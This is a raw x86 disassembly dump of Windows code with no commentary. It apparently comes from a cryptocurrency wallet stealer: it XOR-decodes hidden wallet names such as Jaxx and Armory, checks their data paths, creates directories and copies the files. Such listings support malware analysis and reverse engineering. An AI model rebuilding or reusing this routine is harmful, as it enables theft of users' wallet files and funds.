lea eax, [ebp - 0xc98]
mov dword [0x565628], ecx
push eax
lea ecx, [ebp - 0x1790]
mov byte [ebp - 0xc88], 0
call fcn.00402b70
lea ecx, [ebp - 0x1790]
mov byte [ebp - 4], 0x50
call fcn.00402c10
push eax
lea edx, [ebp - 0x7d0]
lea ecx, [ebp - 0x1868]
call fcn.004909d0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x51
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
lea ecx, [ebp - 0x1868]
mov byte [ebp - 0x11], al
call fcn.00402ad0
lea ecx, [ebp - 0x1790]
mov byte [ebp - 4], 0x3d
call fcn.00402ad0
cmp byte [ebp - 0x11], 0
je 0x417139
movaps xmm0, xmmword [0x552280]
xor ecx, ecx
movups xmmword [ebp - 0xc71], xmm0
mov dword [ebp - 0xc51], 0
xorps xmm0, xmm0
mov word [ebp - 0xc4d], 0
movups xmmword [ebp - 0xc61], xmm0
mov byte [ebp - 0xc4b], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xc71], al
inc ecx
cmp ecx, 0x10
jb 0x416f91
lea eax, [ebp - 0xc71]
mov dword [0x565628], ecx
push eax
lea ecx, [ebp - 0x1778]
mov byte [ebp - 0xc61], 0
call fcn.00402b70
lea ecx, [ebp - 0x1778]
mov byte [ebp - 4], 0x52
call fcn.00402c10
push eax
lea edx, [ebp - 0x910]
lea ecx, [ebp - 0xaf4]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1778]
mov byte [ebp - 4], 0x54
call fcn.00402ad0
lea ecx, [ebp - 0xaf4]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x417022
push 0
lea ecx, [ebp - 0xaf4]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x41712e
movaps xmm0, xmmword [0x552280]
lea eax, [ebp - 0xaf4]
sub esp, 0x18
mov dword [ebp - 0xc9f], 0
movups xmmword [ebp - 0xcbf], xmm0
mov dword [ebp - 0x1c], esp
mov ecx, esp
xorps xmm0, xmm0
mov word [ebp - 0xc9b], 0
push eax
movups xmmword [ebp - 0xcaf], xmm0
mov byte [ebp - 0xc99], 0
mov byte [ebp - 0x11], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0x55
xor ecx, ecx
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xcbf], al
inc ecx
cmp ecx, 0x10
jb 0x417072
lea eax, [ebp - 0xcbf]
mov dword [0x565628], ecx
push eax
lea ecx, [ebp - 0x1760]
mov byte [ebp - 0xcaf], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x1760]
mov esi, esp
call fcn.00402c10
push eax
lea edx, [ebp - 0x7d0]
mov ecx, esi
call fcn.004909d0
add esp, 4
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x57
call fcn.00412980
add esp, 0x30
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x1760]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x4170f0
mov byte [edi], 1
jmp 0x417128
lea ecx, [ebp - 0xaf4]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1730]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x1730]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x1730]
call fcn.00402ad0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0xaf4]
call fcn.00402ad0
lea ecx, [ebp - 0x910]
mov byte [ebp - 4], 0x3a
call fcn.00402ad0
movaps xmm0, xmmword [0x551990]
xor ecx, ecx
movups xmmword [ebp - 0x952], xmm0
mov word [ebp - 0x942], 0xa7de
xorps xmm0, xmm0
mov byte [ebp - 0x940], 0xa4
movups xmmword [ebp - 0x93f], xmm0
mov dword [ebp - 0x92f], 0
mov word [ebp - 0x92b], 0
mov byte [ebp - 0x929], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x952], al
inc ecx
cmp ecx, 0x13
jb 0x417190
lea eax, [ebp - 0x952]
mov dword [0x5655a8], ecx
push eax
lea ecx, [ebp - 0x1718]
mov byte [ebp - 0x93f], 0
call fcn.00402b70
lea ecx, [ebp - 0x1718]
mov byte [ebp - 4], 0x59
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1880]
call fcn.00402b70
push eax
lea edx, [ebp - 0x1af0]
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0xe18]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0x1880]
call fcn.00402ad0
lea ecx, [ebp - 0x1718]
mov byte [ebp - 4], 0x5d
call fcn.00402ad0
lea ecx, [ebp - 0xe18]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x41737a
xorps xmm0, xmm0
mov dword [ebp - 0x736], 0xcad0faf3
mov byte [ebp - 0x732], 0xcb
xor ecx, ecx
movups xmmword [ebp - 0x731], xmm0
mov dword [ebp - 0x721], 0
mov word [ebp - 0x71d], 0
mov byte [ebp - 0x71b], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x736], al
inc ecx
cmp ecx, 5
jb 0x417260
lea eax, [ebp - 0x736]
mov dword [0x565544], ecx
push eax
lea ecx, [ebp - 0x1700]
mov byte [ebp - 0x731], 0
call fcn.00402b70
lea ecx, [ebp - 0x1700]
mov byte [ebp - 4], 0x5e
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0xadc]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1700]
mov byte [ebp - 4], 0x60
call fcn.00402ad0
lea ecx, [ebp - 0xadc]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x4172ee
push 0
lea ecx, [ebp - 0xadc]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x41736b
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0xadc]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov byte [ebp - 4], 0x61
lea eax, [ebp - 0xe18]
mov ecx, esp
push eax
call fcn.0048ccc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x60
call fcn.00412980
add esp, 0x30
test eax, eax
jne 0x417333
mov byte [edi], 1
jmp 0x41736b
lea ecx, [ebp - 0xadc]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x16e8]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x16e8]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x16e8]
call fcn.00402ad0
lea ecx, [ebp - 0xadc]
mov byte [ebp - 4], 0x5d
call fcn.00402ad0
movaps xmm0, xmmword [0x551f60]
xor ecx, ecx
movups xmmword [ebp - 0x817], xmm0
mov dword [ebp - 0x807], 0xaea0b7e3
xorps xmm0, xmm0
mov dword [ebp - 0x803], 0xb5b1a1af
movups xmmword [ebp - 0x7ff], xmm0
mov dword [ebp - 0x7ef], 0
mov word [ebp - 0x7eb], 0
mov byte [ebp - 0x7e9], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x817], al
inc ecx
cmp ecx, 0x18
jb 0x4173c2
lea eax, [ebp - 0x817]
mov dword [0x565570], ecx
push eax
lea ecx, [ebp - 0x16d0]
mov byte [ebp - 0x7ff], 0
call fcn.00402b70
lea ecx, [ebp - 0x16d0]
mov byte [ebp - 4], 0x63
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1898]
call fcn.00402b70
push eax
lea edx, [ebp - 0x1bf8]
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0xe00]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0x1898]
call fcn.00402ad0
lea ecx, [ebp - 0x16d0]
mov byte [ebp - 4], 0x67
call fcn.00402ad0
lea ecx, [ebp - 0xe00]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x4175ae
xorps xmm0, xmm0
mov dword [ebp - 0x409], 0xdbdef3f3
mov dword [ebp - 0x405], 0xdfd8dbdd
xor ecx, ecx
movups xmmword [ebp - 0x401], xmm0
mov dword [ebp - 0x3f1], 0
mov word [ebp - 0x3ed], 0
mov byte [ebp - 0x3eb], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x409], al
inc ecx
cmp ecx, 8
jb 0x417494
lea eax, [ebp - 0x409]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0x16b8]
mov byte [ebp - 0x401], 0
call fcn.00402b70
lea ecx, [ebp - 0x16b8]
mov byte [ebp - 4], 0x68
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0xac4]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x16b8]
mov byte [ebp - 4], 0x6a
call fcn.00402ad0
lea ecx, [ebp - 0xac4]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x417522
push 0
lea ecx, [ebp - 0xac4]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x41759f
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0xac4]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov byte [ebp - 4], 0x6b
lea eax, [ebp - 0xe00]
mov ecx, esp
push eax
call fcn.0048ccc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x6a
call fcn.00412980
add esp, 0x30
test eax, eax
jne 0x417567
mov byte [edi], 1
jmp 0x41759f
lea ecx, [ebp - 0xac4]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x16a0]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x16a0]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x16a0]
call fcn.00402ad0
lea ecx, [ebp - 0xac4]
mov byte [ebp - 4], 0x67
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [ebp - 0x5f2], 0xdfc3f1f3
mov word [ebp - 0x5ee], 0xc6dc
xor ecx, ecx
mov byte [ebp - 0x5ec], 0xcc
movups xmmword [ebp - 0x5eb], xmm0
mov dword [ebp - 0x5db], 0
mov word [ebp - 0x5d7], 0
mov byte [ebp - 0x5d5], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x5f2], al
inc ecx
cmp ecx, 7
jb 0x4175f0
lea eax, [ebp - 0x5f2]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x1688]
mov byte [ebp - 0x5eb], 0
call fcn.00402b70
lea ecx, [ebp - 0x1688]
mov byte [ebp - 4], 0x6d
call fcn.00402c10
push eax
lea ecx, [ebp - 0x18b0]
call fcn.00402b70
push eax
lea edx, [ebp - 0x1af0]
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0xde8]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0x18b0]
call fcn.00402ad0
lea ecx, [ebp - 0x1688]
mov byte [ebp - 4], 0x71
call fcn.00402ad0
lea ecx, [ebp - 0xde8]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x4177ea
xorps xmm0, xmm0
mov dword [ebp - 0x5d4], 0xdfc3f1f3
mov word [ebp - 0x5d0], 0xc6dc
xor ecx, ecx
mov byte [ebp - 0x5ce], 0xcc
movups xmmword [ebp - 0x5cd], xmm0
mov dword [ebp - 0x5bd], 0
mov word [ebp - 0x5b9], 0
mov byte [ebp - 0x5b7], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x5d4], al
inc ecx
cmp ecx, 7
jb 0x4176d0
lea eax, [ebp - 0x5d4]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x1670]
mov byte [ebp - 0x5cd], 0
call fcn.00402b70
lea ecx, [ebp - 0x1670]
mov byte [ebp - 4], 0x72
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0xaac]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1670]
mov byte [ebp - 4], 0x74
call fcn.00402ad0
lea ecx, [ebp - 0xaac]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x41775e
push 0
lea ecx, [ebp - 0xaac]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x4177db
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0xaac]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0xde8]
mov ecx, esp
push eax
call fcn.0048ccc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x74
call fcn.00412980
add esp, 0x30
test eax, eax
jne 0x4177a3
mov byte [edi], 1
jmp 0x4177db
lea ecx, [ebp - 0xaac]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1658]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0x1658]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x1658]
call fcn.00402ad0
lea ecx, [ebp - 0xaac]
mov byte [ebp - 4], 0x71
call fcn.00402ad0
movaps xmm0, xmmword [0x551d70]
xor ecx, ecx
movups xmmword [ebp - 0x785], xmm0
mov dword [ebp - 0x775], 0xb6afa5d6
xorps xmm0, xmm0
mov dword [ebp - 0x771], 0xaaa4939f
mov dword [ebp - 0x76d], 0xb9bdadab
movups xmmword [ebp - 0x769], xmm0
mov dword [ebp - 0x759], 0
mov word [ebp - 0x755], 0
mov byte [ebp - 0x753], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x785], al
inc ecx
cmp ecx, 0x1c
jb 0x417840
lea eax, [ebp - 0x785]
mov dword [0x5655f4], ecx
push eax
lea ecx, [ebp - 0x1640]
mov byte [ebp - 0x769], 0
call fcn.00402b70
lea ecx, [ebp - 0x1640]
mov byte [ebp - 4], 0x77
call fcn.00402c10
push eax
lea ecx, [ebp - 0x18c8]
call fcn.00402b70
push eax
lea edx, [ebp - 0x1af0]
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0xdd0]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0x18c8]
call fcn.00402ad0
lea ecx, [ebp - 0x1640]
mov byte [ebp - 4], 0x7b
call fcn.00402ad0
lea ecx, [ebp - 0xdd0]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x417a3a
xorps xmm0, xmm0
mov dword [ebp - 0x5b6], 0xc1d0e7f3
mov word [ebp - 0x5b2], 0xd6d2
xor ecx, ecx
mov byte [ebp - 0x5b0], 0xdc
movups xmmword [ebp - 0x5af], xmm0
mov dword [ebp - 0x59f], 0
mov word [ebp - 0x59b], 0
mov byte [ebp - 0x599], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x5b6], al
inc ecx
cmp ecx, 7
jb 0x417920
lea eax, [ebp - 0x5b6]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x1628]
mov byte [ebp - 0x5af], 0
call fcn.00402b70
lea ecx, [ebp - 0x1628]
mov byte [ebp - 4], 0x7c
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0xa94]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1628]
mov byte [ebp - 4], 0x7e
call fcn.00402ad0
lea ecx, [ebp - 0xa94]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x4179ae
push 0
lea ecx, [ebp - 0xa94]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x417a2b
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0xa94]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov byte [ebp - 4], 0x7f
lea eax, [ebp - 0xdd0]
mov ecx, esp
push eax
call fcn.0048ccc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x7e
call fcn.00412980
add esp, 0x30
test eax, eax
jne 0x4179f3
mov byte [edi], 1
jmp 0x417a2b
lea ecx, [ebp - 0xa94]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1610]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x80
lea ecx, [ebp - 0x1610]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x1610]
call fcn.00402ad0
lea ecx, [ebp - 0xa94]
mov byte [ebp - 4], 0x7b
call fcn.00402ad0
movaps xmm0, xmmword [0x552060]
xor ecx, ecx
movups xmmword [ebp - 0xbfc], xmm0
mov byte [ebp - 0xbec], 0xdd
xorps xmm0, xmm0
mov dword [ebp - 0xbdb], 0
movups xmmword [ebp - 0xbeb], xmm0
mov word [ebp - 0xbd7], 0
mov byte [ebp - 0xbd5], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xbfc], al
inc ecx
cmp ecx, 0x11
jb 0x417a75
lea eax, [ebp - 0xbfc]
mov dword [0x565634], ecx
push eax
lea ecx, [ebp - 0x15f8]
mov byte [ebp - 0xbeb], 0
call fcn.00402b70
lea ecx, [ebp - 0x15f8]
mov byte [ebp - 4], 0x81
call fcn.00402c10
push eax
lea ecx, [ebp - 0x18e0]
call fcn.00402b70
push eax
lea edx, [ebp - 0x1af0]
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0xdb8]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0x18e0]
call fcn.00402ad0
lea ecx, [ebp - 0x15f8]
mov byte [ebp - 4], 0x85
call fcn.00402ad0
sub esp, 0x18
lea eax, [ebp - 0xdb8]
mov ecx, esp
push eax
call fcn.0048ccc0
call fcn.0040dee0
add esp, 0x18
test al, al
je 0x417d09
xorps xmm0, xmm0
mov dword [ebp - 0x598], 0xc6d8f2f3
mov word [ebp - 0x594], 0xd1db
xor ecx, ecx
mov byte [ebp - 0x592], 0xc7
movups xmmword [ebp - 0x591], xmm0
mov dword [ebp - 0x581], 0
mov word [ebp - 0x57d], 0
mov byte [ebp - 0x57b], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x598], al
inc ecx
cmp ecx, 7
jb 0x417b54
lea eax, [ebp - 0x598]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x15e0]
mov byte [ebp - 0x591], 0
call fcn.00402b70
lea ecx, [ebp - 0x15e0]
mov byte [ebp - 4], 0x86
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0xa7c]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x15e0]
mov byte [ebp - 4], 0x88
call fcn.00402ad0
lea ecx, [ebp - 0xa7c]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x417be2
push 0
lea ecx, [ebp - 0xa7c]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x417cfa
xorps xmm0, xmm0
mov dword [ebp - 0x2c5], 0xc6d8d2f3
mov dword [ebp - 0x2c1], 0x98c7d1db
xor ecx, ecx
mov word [ebp - 0x2bd], 0xdad3
movups xmmword [ebp - 0x2bb], xmm0
mov dword [ebp - 0x2ab], 0
mov word [ebp - 0x2a7], 0
mov byte [ebp - 0x2a5], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2c5], al
inc ecx
cmp ecx, 0xa
jb 0x417c25
lea eax, [ebp - 0x2c5]
mov dword [0x5655e0], ecx
push eax
lea ecx, [ebp - 0x15c8]
mov byte [ebp - 0x2bb], 0
call fcn.00402b70
lea ecx, [ebp - 0x15c8]
mov byte [ebp - 4], 0x89
call fcn.00402c10
push eax
lea edx, [ebp - 0xa7c]
lea ecx, [ebp - 0x18f8]
call fcn.004909d0
add esp, 4
mov ecx, eax
call fcn.00402c10
lea ecx, [ebp - 0xdb8]
mov esi, eax
call fcn.00402c10
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x18f8]
mov esi, eax
call fcn.00402ad0
lea ecx, [ebp - 0x15c8]
mov byte [ebp - 4], 0x88
call fcn.00402ad0
test esi, esi
je 0x417cbc
mov byte [edi], 1
jmp 0x417cf4
lea ecx, [ebp - 0xa7c]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x15b0]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x15b0]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x15b0]
call fcn.00402ad0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0xa7c]
mov byte [ebp - 4], 0x85
call fcn.00402ad0
movaps xmm0, xmmword [0x5523d0]
xor ecx, ecx
movups xmmword [ebp - 0x8f5], xmm0
mov dword [ebp - 0x8e5], 0xb6a4acd3
xorps xmm0, xmm0
mov byte [ebp - 0x8e1], 0xb0
movups xmmword [ebp - 0x8e0], xmm0
mov dword [ebp - 0x8d0], 0
mov word [ebp - 0x8cc], 0
mov byte [ebp - 0x8ca], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x8f5], al
inc ecx
cmp ecx, 0x15
jb 0x417d50
lea eax, [ebp - 0x8f5]
mov dword [0x5655ac], ecx
push eax
lea ecx, [ebp - 0x1598]
mov byte [ebp - 0x8e0], 0
call fcn.00402b70
lea ecx, [ebp - 0x1598]
mov byte [ebp - 4], 0x8b
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1910]
call fcn.00402b70
push eax
lea edx, [ebp - 0x1af0]
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0xda0]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0x1910]
call fcn.00402ad0
lea ecx, [ebp - 0x1598]
mov byte [ebp - 4], 0x8f
call fcn.00402ad0
lea ecx, [ebp - 0xda0]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x417f4d
xorps xmm0, xmm0
mov dword [ebp - 0x193], 0xd7ddf5f3
mov dword [ebp - 0x18f], 0xd9c7c0d0
xor ecx, ecx
mov dword [ebp - 0x18b], 0xc9d8fbd9
mov byte [ebp - 0x187], 0xd3
movups xmmword [ebp - 0x186], xmm0
mov dword [ebp - 0x176], 0
mov word [ebp - 0x172], 0
mov byte [ebp - 0x170], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x193], al
inc ecx
cmp ecx, 0xd
jb 0x417e33
lea eax, [ebp - 0x193]
mov dword [0x56557c], ecx
push eax
lea ecx, [ebp - 0x1580]
mov byte [ebp - 0x186], 0
call fcn.00402b70
lea ecx, [ebp - 0x1580]
mov byte [ebp - 4], 0x90
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0xa64]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1580]
mov byte [ebp - 4], 0x92
call fcn.00402ad0
lea ecx, [ebp - 0xa64]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x417ec1
push 0
lea ecx, [ebp - 0xa64]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x417f3e
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0xa64]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov byte [ebp - 4], 0x93
lea eax, [ebp - 0xda0]
mov ecx, esp
push eax
call fcn.0048ccc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x92
call fcn.00412980
add esp, 0x30
test eax, eax
jne 0x417f06
mov byte [edi], 1
jmp 0x417f3e
lea ecx, [ebp - 0xa64]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1568]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x94
lea ecx, [ebp - 0x1568]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x1568]
call fcn.00402ad0
lea ecx, [ebp - 0xa64]
mov byte [ebp - 4], 0x8f
call fcn.00402ad0
movaps xmm0, xmmword [0x551c00]
xor ecx, ecx
movups xmmword [ebp - 0x845], xmm0
mov dword [ebp - 0x835], 0xa8efa5cd
xorps xmm0, xmm0
mov word [ebp - 0x831], 0xabb0
mov byte [ebp - 0x82f], 0xab
movups xmmword [ebp - 0x82e], xmm0
mov dword [ebp - 0x81e], 0
mov word [ebp - 0x81a], 0
mov byte [ebp - 0x818], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x845], al
inc ecx
cmp ecx, 0x17
jb 0x417fa0
lea eax, [ebp - 0x845]
mov dword [0x5655bc], ecx
push eax
lea ecx, [ebp - 0x1550]
mov byte [ebp - 0x82e], 0
call fcn.00402b70
lea ecx, [ebp - 0x1550]
mov byte [ebp - 4], 0x95
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1928]
call fcn.00402b70
push eax
lea edx, [ebp - 0x1af0]
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0xd88]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0x1928]
call fcn.00402ad0
lea ecx, [ebp - 0x1550]
mov byte [ebp - 4], 0x99
call fcn.00402ad0
sub esp, 0x18
lea eax, [ebp - 0xd88]
mov ecx, esp
push eax
call fcn.0048ccc0
call fcn.0040dee0
add esp, 0x18
test al, al
je 0x418222
xorps xmm0, xmm0
mov dword [ebp - 0x501], 0xdcd8f2f3
mov dword [ebp - 0x4fd], 0xd3d6dad2
xor ecx, ecx
movups xmmword [ebp - 0x4f9], xmm0
mov dword [ebp - 0x4e9], 0
mov word [ebp - 0x4e5], 0
mov byte [ebp - 0x4e3], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x501], al
inc ecx
cmp ecx, 8
jb 0x418080
lea eax, [ebp - 0x501]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0x1538]
mov byte [ebp - 0x4f9], 0
call fcn.00402b70
lea ecx, [ebp - 0x1538]
mov byte [ebp - 4], 0x9a
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0x9bc]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1538]
mov byte [ebp - 4], 0x9c
call fcn.00402ad0
lea ecx, [ebp - 0x9bc]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x41810e
push 0
lea ecx, [ebp - 0x9bc]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x418213
xorps xmm0, xmm0
mov dword [ebp - 0x6c], 0xc2c1d1f3
mov dword [ebp - 0x68], 0xd9c1c79e
xor ecx, ecx
mov dword [ebp - 0x64], 0xd097ddc5
mov word [ebp - 0x60], 0xd3c8
mov byte [ebp - 0x5e], 0xd3
movups xmmword [ebp - 0x5d], xmm0
mov dword [ebp - 0x4d], 0
mov word [ebp - 0x49], 0
mov byte [ebp - 0x47], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x6c], al
inc ecx
cmp ecx, 0xf
jb 0x418147
lea eax, [ebp - 0x6c]
mov dword [0x565558], ecx
push eax
lea ecx, [ebp - 0x1520]
mov byte [ebp - 0x5d], 0
call fcn.00402b70
lea ecx, [ebp - 0x1520]
mov byte [ebp - 4], 0x9d
call fcn.00402c10
push eax
lea edx, [ebp - 0x9bc]
lea ecx, [ebp - 0x1940]
call fcn.004909d0
add esp, 4
mov ecx, eax
call fcn.00402c10
lea ecx, [ebp - 0xd88]
mov esi, eax
call fcn.00402c10
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1940]
mov esi, eax
call fcn.00402ad0
lea ecx, [ebp - 0x1520]
mov byte [ebp - 4], 0x9c
call fcn.00402ad0
test esi, esi
je 0x4181d5
mov byte [edi], 1
jmp 0x41820d
lea ecx, [ebp - 0x9bc]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1508]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0x1508]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x1508]
call fcn.00402ad0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x9bc]
mov byte [ebp - 4], 0x99
call fcn.00402ad0
movaps xmm0, xmmword [0x551890]
xor ecx, ecx
movups xmmword [ebp - 0xbd4], xmm0
mov byte [ebp - 0xbc4], 0xcc
xorps xmm0, xmm0
mov dword [ebp - 0xbb3], 0
movups xmmword [ebp - 0xbc3], xmm0
mov word [ebp - 0xbaf], 0
mov byte [ebp - 0xbad], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xbd4], al
inc ecx
cmp ecx, 0x11
jb 0x418260
lea eax, [ebp - 0xbd4]
mov dword [0x565634], ecx
push eax
lea ecx, [ebp - 0x14f0]
mov byte [ebp - 0xbc3], 0
call fcn.00402b70
lea ecx, [ebp - 0x14f0]
mov byte [ebp - 4], 0x9f
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1958]
call fcn.00402b70
push eax
lea edx, [ebp - 0x1af0]
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0xd70]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0x1958]
call fcn.00402ad0
lea ecx, [ebp - 0x14f0]
mov byte [ebp - 4], 0xa3
call fcn.00402ad0
lea ecx, [ebp - 0xd70]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x41845a
xorps xmm0, xmm0
mov dword [ebp - 0x3ea], 0xdac5f5f3
